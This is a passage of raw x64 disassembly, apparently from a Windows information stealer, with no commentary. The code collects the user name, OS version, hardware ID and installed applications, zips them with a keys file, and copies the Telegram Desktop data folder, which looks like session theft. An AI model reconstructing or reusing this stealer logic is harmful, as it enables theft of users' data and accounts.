lea r8, [rbp + 0x670]
lea rdx, str.User_Name:
lea rcx, [rbp - 0x18]
call fcn.140030610
nop
mov rdx, rax
lea rcx, [rbp + 0x6d0]
call fcn.140032750
lea rdx, [fcn.140032d20]
mov rcx, rax
call fcn.14002b0f0
nop
lea rcx, [rbp - 0x18]
call fcn.14002c6f0
lea r8, [rbp + 0x650]
lea rdx, str.OS_Version:
lea rcx, [rbp - 0x18]
call fcn.140030610
nop
mov rdx, rax
lea rcx, [rbp + 0x6d0]
call fcn.140032750
lea rdx, [fcn.140032d20]
mov rcx, rax
call fcn.14002b0f0
nop
lea rcx, [rbp - 0x18]
call fcn.14002c6f0
lea rcx, [rsp + 0x50]
call fcn.140027c90
mov rcx, rax
call fcn.140027d20
mov rdx, rax
lea rcx, [rbp + 0x6d0]
call fcn.1400324a0
mov rcx, rax
lea rdx, [rbp + 0x630]
call fcn.140032750
lea rdx, [fcn.140032d20]
mov rcx, rax
call fcn.14002b0f0
lea r8, [rbp + 0x610]
lea rdx, str.HWID:
lea rcx, [rbp - 0x18]
call fcn.140030610
nop
mov rdx, rax
lea rcx, [rbp + 0x6d0]
call fcn.140032750
lea rdx, [fcn.140032d20]
mov rcx, rax
call fcn.14002b0f0
nop
lea rcx, [rbp - 0x18]
call fcn.14002c6f0
lea rdx, str.Installed_Apps:
lea rcx, [rbp + 0x6d0]
call fcn.1400324a0
lea rdx, [fcn.140032d20]
mov rcx, rax
call fcn.14002b0f0
lea rdx, [0x14028d55c]
lea rcx, [rbp + 0x6d0]
call fcn.1400324a0
lea rcx, [rbp + 0x468]
call fcn.14002b7b0
mov rbx, rax
lea rcx, [rbp + 0x468]
call fcn.14002b7a0
mov rdi, rax
cmp rbx, rax
je 0x14002717f
nop word [rax + rax]
lea rdx, [0x14028d560]
lea rcx, [rbp + 0x6d0]
call fcn.1400324a0
mov rcx, rax
mov rdx, rbx
call fcn.140032750
mov rcx, rax
call fcn.140032d20
add rbx, 0x20
cmp rbx, rdi
jne 0x140027150
lea rcx, [rbp + 0x6d0]
call fcn.1400292a0
lea rcx, [rbp + 8]
call fcn.14000cca0
mov rbx, rax
lea r8, [0x140288cbc]
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp - 0x18]
call fcn.140030530
nop
mov r9, rbx
mov r8, rax
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp + 0x290]
call fcn.140036990
nop
lea r8, str..zip
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x448]
call fcn.1400305a0
nop
lea rcx, [rbp + 0x290]
call fcn.14002f2b0
nop
lea rcx, [rbp - 0x18]
call fcn.14002f2b0
nop
lea rcx, [rbp + 8]
call fcn.14002f2b0
lea r8, str._output_
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0xc8]
call fcn.140030530
nop
lea rdx, [rbp + 0x448]
mov rcx, rax
call fcn.1400172c0
nop
lea rcx, [rbp + 0xc8]
call fcn.14002f2b0
lea r8, [rbp + 0x448]
lea rdx, [0x1402e0a48]
lea rcx, [0x1402e0990]
call fcn.140017330
lea r8, [rbp + 0x448]
lea rdx, [0x1402e0a28]
lea rcx, [0x1402e0a68]
call fcn.140017330
xor r8d, r8d
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 0x2b0]
call fcn.140032460
nop
lea rcx, [rbp + 0x2b0]
call fcn.14000a510
nop
lea rcx, [rbp + 0x2b0]
call fcn.14002f1a0
nop
lea rcx, [rbp + 0x448]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x468]
call fcn.14002f020
nop
lea rcx, [rbp + 0x610]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x630]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x650]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x670]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x6b0]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x778]
call fcn.140029340
lea rcx, [rbp + 0x778]
call fcn.14002b130
nop
lea rcx, [rbp + 0x4c0]
call fcn.14002f1a0
nop
lea rcx, [rbp + 0x4e0]
call fcn.14002f1a0
nop
lea rcx, [rbp + 0x410]
call fcn.1400283d0
nop
lea rcx, [rbp + 0x3c0]
call fcn.1400283d0
nop
lea rcx, [rbp + 0x500]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x558]
call fcn.1400283d0
nop
lea rcx, [rbp + 0x480]
call fcn.14002f020
nop
lea rcx, [rbp + 0x3a0]
call fcn.14002f1a0
nop
lea rcx, [rbp + 0x380]
call fcn.14002f1a0
nop
lea rcx, [rbp + 0x350]
call fcn.14002f020
nop
lea rcx, [rbp + 0x368]
call fcn.1400283d0
nop
lea rcx, [rbp + 0x4a8]
call fcn.1400283d0
nop
lea rcx, [rbp + 0x3f8]
call fcn.1400283d0
nop
lea rcx, [rbp + 0x330]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x520]
call fcn.1400283d0
call fcn.1400178b0
call fcn.140017b20
lea r8, str._output_keys.txt
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp - 0x18]
call fcn.140030530
nop
mov r8, rax
lea rdx, [0x1402e0a48]
lea rcx, [0x1402e0990]
call fcn.140017330
nop
lea rcx, [rbp - 0x18]
call fcn.14002f2b0
lea r8, str._appdata_roaming_Telegram_Desktop_
lea rdx, [rbp + 0x270]
lea rcx, [rbp + 8]
call fcn.140030530
nop
bts r13d, 0xc
mov dword [rsp + 0x58], r13d
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x3a0]
call fcn.140032460
nop
bts r13d, 0xd
mov dword [rsp + 0x58], r13d
lea rcx, [rbp + 0x3a0]
call fcn.140009ea0
test al, al
je 0x1400274c8
lea r8, str._appdata_roaming_Telegram_Desktop_
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x18]
call fcn.140030530
nop
bts r13d, 0xe
mov dword [rsp + 0x58], r13d
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x380]
call fcn.140032460
nop
bts r13d, 0xf
mov dword [rsp + 0x58], r13d
lea rdx, [rbp + 0x380]
lea rcx, [rbp - 0x80]
call fcn.14000a070
cmp dword [rax], 3
jne 0x1400274c8
mov bl, 1
jmp 0x1400274ca
xor bl, bl
bt r13d, 0xf
jae 0x1400274e7
btr r13d, 0xf
lea rcx, [rbp + 0x380]
call fcn.14002f1a0
nop
bt r13d, 0xe
jae 0x140027501
btr r13d, 0xe
lea rcx, [rbp - 0x18]
call fcn.14002f2b0
nop
bt r13d, 0xd
jae 0x14002751e
btr r13d, 0xd
lea rcx, [rbp + 0x3a0]
call fcn.14002f1a0
nop
bt r13d, 0xc
jae 0x140027532
lea rcx, [rbp + 8]
call fcn.14002f2b0
test bl, bl
je 0x1400275d1
lea r8, str._output_
lea rdx, [rbp + 0x2f0]
lea rcx, [rbp + 8]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x3a0]
call fcn.140032460
nop
lea r8, str._appdata_roaming_Telegram_Desktop_
lea rdx, [rbp + 0x270]
lea rcx, [rbp - 0x18]
call fcn.140030530
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x380]
call fcn.140032460
nop
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp + 0x380]
call fcn.140014670
nop
lea rcx, [rbp + 0x380]
call fcn.14002f1a0
nop
lea rcx, [rbp - 0x18]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x3a0]
call fcn.14002f1a0
nop
lea rcx, [rbp + 8]
call fcn.14002f2b0
lea rdx, [fcn.140017b20]
lea rcx, [rbp + 0x498]
call fcn.1400387a0
nop
lea rcx, [rbp + 0x498]
call fcn.140003280
nop
cmp dword [rbp + 0x4a0], 0
jne 0x140027704
lea rcx, [rbp + 0x428]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x270]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x3d8]
call fcn.14002f1a0
nop
lea rcx, [rbp + 0x570]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x590]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x538]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x690]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x5b0]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x5d0]
call fcn.14002f2b0
nop
lea r9, [fcn.140007810]
mov edx, reloc.WLDAP32.dll_Ordinal_32
mov r8d, Ordinal_30
lea rcx, [rbp + 0x7e0]
call fcn.1401e2f04
nop
lea rcx, [rbp + 0x310]
call fcn.14002f1a0
nop
lea rcx, [rbp + 0x2f0]
call fcn.14002f2b0
nop
lea rcx, [rbp + 0x5f0]
call fcn.14002f2b0
xor eax, eax
mov rcx, qword [rbp + 0xb00]
xor rcx, rsp
call fcn.1401e2e90
lea r11, [rsp + 0xc60]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1401f8c58
nop
int3